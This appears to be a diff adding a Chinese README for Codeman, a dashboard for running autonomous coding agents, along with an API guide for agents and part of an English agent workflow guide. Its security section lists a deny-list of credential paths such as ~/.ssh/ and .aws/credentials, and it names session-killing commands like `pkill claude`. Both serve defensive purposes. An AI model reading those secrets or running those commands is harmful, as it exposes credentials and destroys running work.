+实时观看后台智能体工作。Codeman 监控智能体活动，将每个智能体显示在一个可拖拽的浮动窗口中，并用「黑客帝国」风格的动态连接线连回父会话。
+
+<p align="center">
+  <img src="docs/images/subagent-windows-20260724.png" alt="子智能体可视化 —— 三个并行 Explore 智能体的浮动窗口与实时工具调用日志" width="900">
+</p>
+
+- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板，带实时活动日志，逐条展示每一次工具调用、文件读取与进度更新
+- **连接线** —— 用动态绿色线条连接父会话与其子智能体，随智能体的产生与完成实时更新
+- **状态与模型徽标** —— 绿色（活动）、黄色（空闲）、蓝色（已完成）指示，并以 Haiku/Sonnet/Opus 的颜色编码区分模型
+- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化，标签徽标显示「AGENT」或「AGENTS (n)」计数
+- **嵌套智能体** —— 支持 3 层层级（主会话 → 团队成员智能体 → 子-子智能体）
+
+多智能体 Workflow 运行（「ultracode」）同样可视化：一个浮动运行窗口实时跟踪整个工作流，展示阶段、各智能体的 token 用量与当前工具：
+
+<p align="center">
+  <img src="docs/images/ultracode-window-20260724.png" alt="Ultracode 工作流可视化 —— 实时运行窗口，含各智能体 token 与阶段" width="900">
+</p>
+
+**智能体团队（Agent Teams）** —— 一等公民式支持 Claude Code 原生的多智能体团队（`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`）。`TeamWatcher` 轮询 `~/.claude/teams/`，将团队成员匹配到其主会话，并以实时子智能体窗口呈现，且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时，重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
+
+---
+
+## 重生控制器（Respawn Controller）
+
+自主工作的核心。当智能体进入空闲，重生控制器会检测到，发送继续提示，循环执行上下文管理命令以获得全新上下文，然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
+
+```
+WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
+```
+
+- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
+- **用量限额自动恢复**（_可选，默认关闭_）—— 当 Claude 因订阅用量限额而停止（"You've hit your limit · resets 3pm"）时，Codeman 会解析重置时间，等到限额刷新（外加 2 分钟安全缓冲）后自动关闭限额对话框并发送 `continue`，让通宵任务平稳跨过 5 小时窗口而不是停摆到早晨。可识别 Claude Code 各版本的全部限额消息格式；若仍受限会自动重试；计划在 Codeman 重启后依然生效；暂停期间会阻止重生循环，避免 `/clear` 清掉等待中的对话。在会话 Respawn 标签页顶部按会话启用
+- **熔断器** —— 当 Claude 卡住时防止重生抖动（CLOSED → HALF_OPEN → OPEN 状态，跟踪连续无进展与重复错误）
+- **健康评分** —— 0–100 健康分，分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
+- **内置预设** —— `solo-work`（3s 空闲，60min）、`subagent-workflow`（45s，240min）、`team-lead`（90s，480min）、`ralph-todo`（8s，480min）、`overnight-autonomous`（10s，480min）
+
+---
+
+## 编排器循环（Orchestrator Loop）
+
+超越单会话重生，**编排器**把一个高层目标转化为分阶段计划，并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
+
+- **先规划，后执行** —— 从你的目标生成分阶段计划，并在动手前暂停等待审批；可带反馈拒绝以重新生成
+- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证；失败时编排器会重新规划而非一头扎下去
+- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列，协调超出单会话能力的工作
+- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下，可在重启后存续
+- **可从 UI 或 API 驱动** —— 编排器面板，或 `POST /api/orchestrator/start` → `/approve` → `/status`（共 10 个端点）
+
+> 完整设计：[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
+
+---
+
+## 多会话仪表盘
+
+运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航，以及一键管理。
+
+### 持久化会话
+
+每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复，具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签，因此智能体不会杀掉自己的会话。
+
+### 会话管理器与命令面板
+
+`Ctrl/Cmd/Alt+K` 打开模糊搜索的会话面板；**Browse all sessions** 打开会话管理器：一份去重后的完整清单，涵盖 Codeman 所知的一切（活动会话、来自状态与生命周期历史的既往会话，以及 Claude 转录），每一行都显示其第一条与最近一条提示。
+
+- **置顶（Pin）**：把会话固定到列表顶部。被置顶的会话甚至能挺过被杀掉（降级为一条轻量的已停止记录，依然可见、可恢复）。
+- **名称保留**：从会话管理器恢复既往会话时保留其原有名称，而不是生成一个新名称。
+- **跨设备标签顺序**：拖拽排序的标签顺序保存在服务端，你的排列会从桌面跟随到手机。
+
+### 主机名感知的窗口标题
+
+在多台主机上运行 Codeman（笔记本、开发机、NAS）？浏览器标签标题是 `codeman:<主机名>`，让你无需点进去就能分辨每个标签对应哪个后端：
+
+```bash
+codeman web                                # codeman:<os.hostname()>
+codeman web --title-hostname dev-box       # codeman:dev-box（用于覆盖嘈杂的主机名）
+```
+
+标题在首字节时就被模板化进所提供的 HTML 中，因此从第一帧绘制起就是正确的，且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式（`⚠️ (N) codeman:<host>`）和操作系统级桌面通知（`codeman:<host>: <事件>`），让系统通知中心里的跨主机提醒也不再含糊。
+
+### 智能 Token 管理
+
+| 阈值            | 动作            | 结果                   |
+| --------------- | --------------- | ---------------------- |
+| **110k tokens** | 自动 `/compact` | 上下文被摘要，工作继续 |
+| **140k tokens** | 自动 `/clear`   | 以 `/init` 全新开始    |
+
+### 通知
+
+当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁，`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
+
+### 运行摘要（Run Summary）
+
+点击任意会话标签上的图表图标，即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
+
+### 零闪烁终端
+
+基于终端的 AI 智能体（Claude Code 的 Ink、OpenCode 的 Bubble Tea）会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线，让所有会话都获得平滑的 60fps 输出：
+
+```
+PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js（60fps）
+```
+

+
+## 更多特性
+
+- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新：它会检测最新发行版，自动暂存（stash）脏工作树，并在服务重启期间流式展示构建进度（npm 安装会被报告为不可更新）
+- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode**、**Codex** 或 **Gemini**；环境变量前缀自动隔离（`CLAUDE_CODE_*`、`OPENCODE_*`、`CODEX_*` 与 `GEMINI_*`/`GOOGLE_*`）。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Docker 会话** —— 在隔离且加固的容器中运行案例。**Create New** 上勾选一个复选框即可用合理的默认值启动容器并在其中启动智能体；同一案例的多个会话共享一个容器；可将容器连同工作区导出为可移植的 `.tar.gz`，迁移到另一台机器。详见 [`docs/docker-cases.md`](docs/docker-cases.md)
+- **远程 SSH 会话**：把案例指向另一台机器，让智能体在那里一个持久的远程 tmux 中运行：SSH 断连不中断任务、自动重连，还能发现并附着主机上已在运行的会话。详见 [`docs/remote-sessions.md`](docs/remote-sessions.md)
+- **Effort 与 Ultracode** —— 设置每会话的默认 effort（`low`–`max`），或启用 **ultracode**（动态多智能体工作流）。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
+- **语音输入** —— 用 Deepgram Nova-3 口述提示（带 Web Speech API 回退）：切换录音、自动静音停止、实时音量表（`Ctrl+Shift+V`）
+- **图像输入** —— 直接把图片粘贴或拖放进会话
+- **手势控制** _(可选)_ —— 一个 MediaPipe 手部追踪叠加层，可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
+- **多显示器横跨** _(macOS)_ —— 一键打开一个横跨所有显示器最大化的浏览器窗口，让浮动的智能体/手势面板可以跨越物理拼接缝
+- **文件查看器按钮** _(可选)_ —— 头部新增一个按钮，一键切换内置文件浏览器面板；在 App Settings → Display → Header Displays 中启用
+- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
+- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀，使多主机配置不再含糊
+
+---
+
+## 隔离的 Docker 会话
+
+让案例（case）运行在专属的加固 Docker 容器里，而不是直接跑在主机上：获得安全隔离、可复现的工具链和一键可移植性。
+
+- **一键启动** —— 在 **New Case → Create New** 中勾选 **🐳 Run in an isolated Docker container**。Codeman 会创建案例文件夹、用默认设置启动容器，并在容器内启动智能体。无需填写任何主机/镜像/网络字段。
+- **资源模板** —— 展开复选框可选 **Small / Medium / Large / GPU** 预设（内存、CPU、GPU），也可以完全自定义。**磁盘是弹性的** —— 存储随数据增长，没有固定上限。
+- **按案例共享容器** —— 多个会话可以 `docker exec` 进同一个容器；结束某个会话绝不会影响其他会话所在的容器。
+- **默认加固** —— 非 root、`--cap-drop ALL`、`no-new-privileges`、PID/内存上限，绝不使用 `--privileged` 或 docker socket；**密封（sealed）** 配置（不注入主机凭据、关闭网络）只需一个开关。
+- **无感认证、凭据隔离** —— 主机上的 Claude / Codex / Gemini / OpenCode 登录在容器内开箱即用：凭据在启动时以只读种子方式复制注入，onboarding/信任提示已预先答复，不会弹出登录向导。容器保留自己的副本，绝不回写主机的凭据存储；跨边界共享的只有对话转录，导出文件也绝不包含机密。
+- **迁移到另一台机器** —— 把容器的完整环境（工具链 + 工作区）导出为可移植的 `.tar.gz`，在另一台机器上导入到新案例即可继续。
+- **持久耐用** —— Codeman 重启后重连会回到同一个存活的智能体；容器停止/重启后则从绑定挂载的转录恢复对话。
+
+前置条件：只需 Docker（或 Podman）。智能体基础镜像会在首次使用时自动构建，构建进度实时显示在 UI 中（也可用 `node scripts/build-agent-image.mjs` 预构建）。完整指南：[`docs/docker-cases.md`](docs/docker-cases.md)。
+
+---
+
+## 远程 SSH 会话
+
+把案例（case）指向另一台机器，通过 SSH 让智能体**在那台机器上**运行，同时保留同样的仪表盘、移动端 UI 与自主运行特性。你的笔记本只是一扇窗口，会话本体活在远程主机上。
+
+- **天生持久**：智能体运行在远程主机上一个专用的 tmux 会话里，SSH 断连、网络切换或笔记本休眠都不会中断任务。重新连接后回到同一个活跃对话。
+- **自动重连**：一个带上限退避的监视器发现 SSH 面板断开后，会静默重新附着到仍在运行的远程会话（设置中有总开关；主动杀掉的会话绝不会被复活）。
+- **发现与附着**：列出主机上已在运行的 `codeman-*` 会话（由那台机器自己的 Codeman 或其他操作者启动）并附着其一。非你所有的已附着会话在关闭标签时**只分离，绝不杀掉**。
+- **共享会话**：多个客户端可以以不同窗口尺寸同时附着同一个远程会话而互不挤压；发现列表会显示带客户端计数的「shared」徽标。
+- **注入安全**：所有 ssh 命令行都经由单一的 shell 转义构建器生成，主机/路径/身份文件字段均有模式校验。
+
+在 **New Case → Remote** 中配置（主机、用户、身份文件、可选跳板机）。完整设计：[`docs/remote-sessions.md`](docs/remote-sessions.md)。
+
+---
+
+## 多用户模式（可选启用）
+
+与一个小型互信团队共享同一个 Codeman，每人拥有自己的登录与工作空间。**默认关闭**：不加该开关时，行为与单用户完全一致。
+
+用 `codeman web --multiuser`（或 `CODEMAN_MULTIUSER=1`）启用。创建第一个管理员后，可通过 CLI 或 App Settings 中的 **Users** 标签页管理用户：
+
+```bash
+codeman users add alice --admin      # 提示输入密码（或 --password-stdin）
+codeman users add bob                # 普通用户
+codeman users list
+```
+
+- **按用户的空间**：每个用户的案例位于 `~/codeman-users/<name>/cases`；会话、案例、搜索与实时事件都按属主隔离。管理员可以看到全部。
+- **可单独吊销的登录**：命名用户的密码以 scrypt 哈希保存在 `~/.codeman/users.json`；可随时禁用、重置（一次性密码）或删除账号。管理员操作审计记录在 `~/.codeman/admin-audit.jsonl`。
+- **普通用户的更安全默认值**：非管理员以 `--permission-mode auto` 运行 Claude（Anthropic 的分类器护栏模式）；raw shell 会话、cron `launchCommand` 与跳过权限模式需要按用户显式授权。
+
+> ⚠️ **这只是工作空间的划分，不是用户之间的沙箱。** 所有会话都以同一个操作系统账户运行，因此有心用户的智能体依然能触及他人的文件。若需要真正的隔离，请结合 **Docker 案例**，或在不同的操作系统账户下运行独立实例。参见 [`docs/multi-user-plan.md`](docs/multi-user-plan.md) 与 [`docs/security-architecture.md`](docs/security-architecture.md) 的多用户章节。

+
+## 远程访问 —— Cloudflare 隧道
+
+使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/)，从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
+
+```
+浏览器（手机/平板）→ Cloudflare 边缘（HTTPS）→ cloudflared → localhost:3000
+```
+
+**前置条件：** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
+
+```bash
+# 快速开始
+./scripts/tunnel.sh start      # 启动隧道，打印公网 URL
+./scripts/tunnel.sh url        # 显示当前 URL
+./scripts/tunnel.sh stop       # 停止隧道
+./scripts/tunnel.sh status     # 服务状态 + URL
+```
+
+脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址，每次隧道重启都会改变。
+
+<details>
+<summary><strong>持久隧道（重启后存续）</strong></summary>
+
+```bash
+# 启用为持久服务
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+
+# 或通过 Codeman Web UI：Settings → Tunnel → 切换为开
+```
+
+</details>
+
+<details>
+<summary><strong>认证</strong></summary>
+
+1. 首次请求 → 浏览器弹出 Basic Auth 提示（用户名：`admin` 或 `CODEMAN_USERNAME`）
+2. 成功后 → 服务端签发 `codeman_session` cookie（24 小时 TTL，活动时自动延长）
+3. 后续请求通过 cookie 静默认证
+4. 同一 IP 失败 10 次 → 429 速率限制（15 分钟衰减）
+
+通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
+
+</details>
+
+### 二维码认证
+
+在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码，手机即刻完成认证。无密码提示、无打字、无剪贴板。
+
+```
+桌面显示二维码  →  手机扫描  →  GET /q/Xk9mQ3  →  服务端校验
+→  令牌原子性消费（一次性）  →  签发会话 cookie  →  302 跳转到 /
+→  桌面收到通知：「设备已通过二维码认证」  →  自动生成新二维码
+```
+
+只拿到裸隧道 URL（没有二维码）的人，仍会撞上标准密码提示。二维码是快速通道；密码是回退方案。
+
+#### 工作原理
+
+服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥（`crypto.randomBytes(32)`）和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针，而非密钥本身，因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
+
+每 **60 秒**，服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**，以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的：手机一旦成功扫描，令牌就被原子性消费，并立即为桌面显示生成一个新的。
+
+#### 安全设计
+
+该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025），该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对：
+
+| USENIX 缺陷                  | 缓解措施                                                                                      |
+| ---------------------------- | --------------------------------------------------------------------------------------------- |
+| **缺陷 1**：缺少一次性强制   | 令牌首次扫描即原子性消费 —— 重放永远失败                                                      |
+| **缺陷 2**：长生命周期令牌   | 60s TTL + 90s 宽限，由定时器自动轮换                                                          |
+| **缺陷 3**：可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差                          |
+| **缺陷 4**：客户端令牌生成   | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器                                                  |
+| **缺陷 5**：缺少状态通知     | 桌面提示：_「设备 [IP] 已通过二维码认证（Safari）。不是你？[吊销]」_ —— 实时 QRLjacking 检测  |
+| **缺陷 6**：会话绑定不足     | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
+
+#### 时序安全的查找
+
+短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找，不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较，彻底消除了时序侧信道攻击。
+
+#### 速率限制（双层）
+
+二维码认证有自己的速率限制，与密码认证完全独立：
+
+- **按 IP**：同一 IP 失败 10 次二维码尝试即触发 429 封锁（15 分钟衰减窗口）—— 与 Basic Auth 的失败计数器分开，因此打错密码不会消耗你的二维码额度
+- **全局**：所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效，无论如何暴力破解都在计算上不可行
+
+#### 二维码尺寸优化
+
+URL 被刻意保持精简（`/q/` 路径 + 6 字符码 ≈ 53–56 个字符），以瞄准 **QR 版本 4**（33×33 模块）而非版本 5（37×37）。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节，仅此一项就足以决定二维码版本的差别。
+
+#### 桌面体验
+
+二维码显示每 60 秒通过 SSE 自动刷新，SVG 直接嵌入事件载荷（约 2–5KB）—— 无需额外 HTTP 请求，刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的（在你怀疑二维码被拍照时很有用）。
+
+当有人通过二维码认证时，桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你，一键即可吊销所有会话。
+
+#### 威胁覆盖
+
+| 威胁                    | 为何无效                                                                             |
+| ----------------------- | ------------------------------------------------------------------------------------ |

+
+---
+
+## 安全
+
+Codeman 默认用 `--dangerously-skip-permissions` 启动会话，因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。（启动权限模式可配置，见下文。）近期加固（v0.9.0 + v0.9.5）封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型：[`docs/security-architecture.md`](docs/security-architecture.md)。**发现了漏洞？** 私下披露方式与已知限制清单见 [`SECURITY.md`](.github/SECURITY.md)。
+
+### 网络与访问
+
+- **默认仅环回** —— 绑定 `127.0.0.1`，仅可从本机访问，因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*，并给出三个具体修复方案（设置密码、环回 + 一个带认证的隧道，或用 `--allow-unauthenticated-network` 显式确认）
+- **可选认证，真实会话** —— 通过 `CODEMAN_USERNAME`（默认 `admin`）/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie（`randomBytes(32)`）—— 服务端校验，而非客户端签名，因此无法离线伪造（24h TTL、自动延长、设备上下文审计日志）
+- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`（15 分钟衰减）。即便攻击者在同一 IP 上猛攻，有效 cookie 或正确密码也能*立即*恢复 —— 这很重要，因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
+- **可配置的权限模式**：`--dangerously-skip-permissions` 只是默认值。**App Settings → Claude CLI → Startup Mode** 可以把新会话切换为 Anthropic 的分类器护栏 `auto` 模式（低打扰，需要 Claude Code 2.1.207+）、`normal` 提示模式，或一份显式的允许工具列表。多用户模式下，未获授权的用户会被强制为 `auto`，shell 会话与跳过权限需要按用户显式授权
+
+### 始终开启的浏览器加固（v0.9.5）
+
+以下对**每个**请求都生效 —— 在认证之前，即便是默认的无密码环回安装：
+
+- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许：`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道，以及 `CODEMAN_ALLOWED_HOSTS`（在此添加自定义反向代理域名 —— 逗号分隔；精确主机或前导点 `.suffix` 匹配子域名）
+- **跨站 Origin / CSRF 防护。** 对变更状态的方法（`POST`/`PUT`/`PATCH`/`DELETE`），`Origin` 必须通过同一允许列表，否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许（因此 `curl`、CLI 与 Claude Code hook 仍可工作）；只有存在但外来、或不透明的 `null` origin 才会被拒绝
+- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析，封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
+- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查，失败时以代码 `4003` 关闭（反 CSWSH）
+- **XSS 转义的智能体输出。** AI 衍生的字符串（工具名、命令参数、子智能体描述）在渲染进子智能体 / 活动面板前，于每个注入点都做 HTML 转义
+
+### 输入、文件与响应头
+
+- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查；一个 `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
+- **路径限定** —— 文件路由在边界检查前先 `realpath`（无 TOCTOU）；`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限：10 MB 文本预览 / 50 MB 原始与下载；`/api/download` 对敏感路径（`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`）做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供，因此会被下载而非执行
+- **安全响应头** —— `Content-Security-Policy`（`default-src 'self'`，每个例外都逐条列举）、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS，以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
+
+### 供应链与隔离
+
+- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本；每次提交/PR 都检查锁文件完整性（所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希）。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
+- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字（`-L codeman-<name>`）与数据目录（`~/.codeman-<name>`），因此两个实例绝不会互相附着对方的活动会话
+
+> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)（它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷）。

+
+## SSH 替代方案（`sc`）
+
+如果你更喜欢 SSH（Termius、Blink 等），`sc` 命令是一个便于拇指操作的会话选择器：
+
+```bash
+sc              # 交互式选择器
+sc 2            # 快速附着到会话 2
+sc -l           # 列出会话
+```
+
+单数字选择（1–9）、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。

+## 从智能体驱动 Codeman —— 编程指南
+
+面向不经浏览器控制 Codeman 的 AI 智能体与自动化：一个拉起工作会话的智能体、一个 CI 机器人，或是**运行在 Codeman 会话*内部*、编排其他会话的 Claude Code**。UI 能做的一切都是 HTTP + CLI，因此智能体也能做。
+
+### 检测自己身处 Codeman 内部
+
+当 CLI 运行在 Codeman 受管会话中时，以下环境变量会被设置 —— 读取它们，别硬编码任何东西：
+
+| 变量                       | 含义                                                                                                                 |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------- |
+| `CODEMAN_MUX=1`            | 你在一个受管 tmux 会话里。**绝不要** `tmux kill-session` / `pkill claude` / `pkill tmux` —— 你会杀掉自己或兄弟会话。 |
+| `CODEMAN_API_URL`          | API 的基础 URL（例如 `https://127.0.0.1:3000`）。下面每个调用都用它。                                                |
+| `CODEMAN_SESSION_ID`       | *你自己的*会话 id。用它避免对自己下手。                                                                              |
+| `CODEMAN_HOOK_SECRET_FILE` | hook 密钥文件的路径（受管隧道开启时调用 `/api/hook-event` 必需）。                                                   |
+
+### 行路规则（POST 之前先读）
+
+1. **只发单行输入。** 编程输入会作为字面文本 **+ Enter** 一次性发送。多行字符串会破坏智能体 TUI（Ink）—— 发送一行，或拆成多次调用。
+2. **让输入幂等。** 在 `POST …/input` 上带上稳定的 `clientId` 和按会话单调递增的 `seq`。服务端会去重，因此连接中断后的重试不会重复投递提示。
+3. **认证。** 若设置了 `CODEMAN_PASSWORD`，发送 HTTP Basic 认证（用户 `admin` 或 `CODEMAN_USERNAME`）或 `codeman_session` cookie。默认的环回安装无密码。缺失的 `Origin` 头被允许，因此普通 `curl` 可用；跨站的浏览器 origin 会被拒绝（CSRF 防护）。
+4. **响应信封。** 多数端点返回 `{ "success": true, "data": … }`（错误：`{ "success": false, "error", "errorCode" }`）。少数遗留 GET 返回裸响应体 —— **两种都要处理**（`body.data ?? body`）。
+5. **`/api/v1/*`** 是 `/api/*` 的稳定别名。
+
+### 常用配方
+
+```bash
+API="${CODEMAN_API_URL:-http://127.0.0.1:3000}"
+# （若设置了密码，给每个调用加上  -u admin:"$CODEMAN_PASSWORD"）
+
+# 1. 看看有什么在运行
+curl -s "$API/api/sessions" | jq '.data // .'
+
+# 2. 拉起一个工作会话（「case」= 命名工作目录）
+curl -s -X POST "$API/api/quick-start" \
+  -H 'Content-Type: application/json' \
+  -d '{"caseName":"refactor-auth","mode":"claude","effort":"high"}' | jq
+
+# 3. 向会话发送提示（精确一次：clientId + seq）
+curl -s -X POST "$API/api/sessions/$SID/input" \
+  -H 'Content-Type: application/json' \
+  -d '{"input":"Run the test suite and summarize failures","useMux":true,"clientId":"agent-1","seq":1}'
+
+# 4. 读回终端内容
+curl -s "$API/api/sessions/$SID/output" | jq -r '.data // .'
+
+# 5. 流式接收实时事件（会话输出、智能体活动、状态）
+curl -sN "$API/api/events"          # Server-Sent Events
+
+# 6. 调度周期性工作（cron 风格任务）
+curl -s -X POST "$API/api/cron/jobs" \
+  -H 'Content-Type: application/json' \
+  -d '{"name":"nightly-deps","agentType":"claude","workingDir":"/home/me/proj",
+       "promptMode":"inline_text","promptText":"Update dependencies and open a PR",
+       "inputMode":"typed","scheduleType":"daily","dailyTime":"03:00",
+       "enabled":true,"concurrencyPolicy":"warn_only"}' | jq
+
+# 7. 查看后台子智能体及其活动记录
+curl -s "$API/api/subagents" | jq '.data // .'
+curl -s "$API/api/subagents/$AID/transcript" | jq -r '.data // .'
+
+# 8. 全系统快照（会话、设置、重生、统计）
+curl -s "$API/api/status" | jq
+```
+
+### 或使用内置 CLI
+
+同样的操作也有命令形式（`codeman <cmd>`，括号内为别名）—— 在会话内的 shell 工具里很顺手：
+
+```bash
+codeman session start -d /path/to/repo   # (s)  启动会话
+codeman session list                     #      列出会话
+codeman session logs <id>                #      查看输出
+codeman task add "fix the failing test"  # (t)  排入任务
+codeman attach <path>                    #      附着 Claude hook 上下文
+```
+
+### Hook（事件*回流*到 Codeman）
+
+Codeman 会注册 Claude Code hook，它们 `POST /api/hook-event`（`permission_prompt`、`idle_prompt`、`stop`、`task_completed` 等），让仪表盘实时响应。该端点在环回上免认证，但在受管隧道下需要 `X-Codeman-Hook-Secret` 头（从 `$CODEMAN_HOOK_SECRET_FILE` 读取）。通常你不需要手动调用它 —— Codeman 会自动接好 —— 但自主层正是靠它「看见」智能体在做什么。

+Read this when the goal is **throughput**: get correct, verified work done with

+`CLAUDE.md` — those still win. It removes _waste_, not _rigor_.

+
+## The mindset
+
+- **Act, don't announce.** No "I'm going to now…" preamble. Do the thing, report
+  the result.
+- **Cheapest proof that the change works.** Pick the smallest check that actually
+  demonstrates correctness — not the biggest.
+- **Batch aggressively.** Independent reads, greps, and edits go in **one**
+  message with parallel tool calls. Never serialize work that has no dependency.
+- **Momentum over perfection.** Land a correct increment, verify it, move on.
+  Don't gold-plate untouched code.
+
+---
+
+## Loop (repeat until done)
+
+1. **Orient once** — one parallel burst of reads/greps to load the context you
+   need. Don't re-read files the harness says are already current.
+2. **Change** — make the edit(s). Batch independent edits.
+3. **Verify cheaply** — the smallest check that proves _this_ change (see below).
+4. **Advance** — next item. Only re-verify what you touched.
+5. **Stop** at: list empty, a hard blocker, or a decision that's genuinely the
+   user's to make.
+
+---
+
+## Verification ladder — climb only as high as the change needs
+
+| Change kind | Cheapest sufficient check |
+|-------------|---------------------------|
+| Types / signatures / imports | `tsc --noEmit` (or `--watch` already running) |
+| One module's logic | `npm test -- test/<file>.test.ts` (the **one** relevant file) |
+| A named behavior | `npm test -- -t "pattern"` |
+| Route/handler | `app.inject()` route test, or one `curl` against the running dev server |
+| Frontend render | Playwright load + assert (`waitUntil: 'domcontentloaded'`, wait 3–4s) |
+| Broad / pre-merge | `npm run test:ci` (the CI-equivalent sweep) |
+
+**Hard rules (never skip, even in a rush):**
+- ⚠️ **Never run bare `npm test`** — it pulls in browser/visual suites that hang
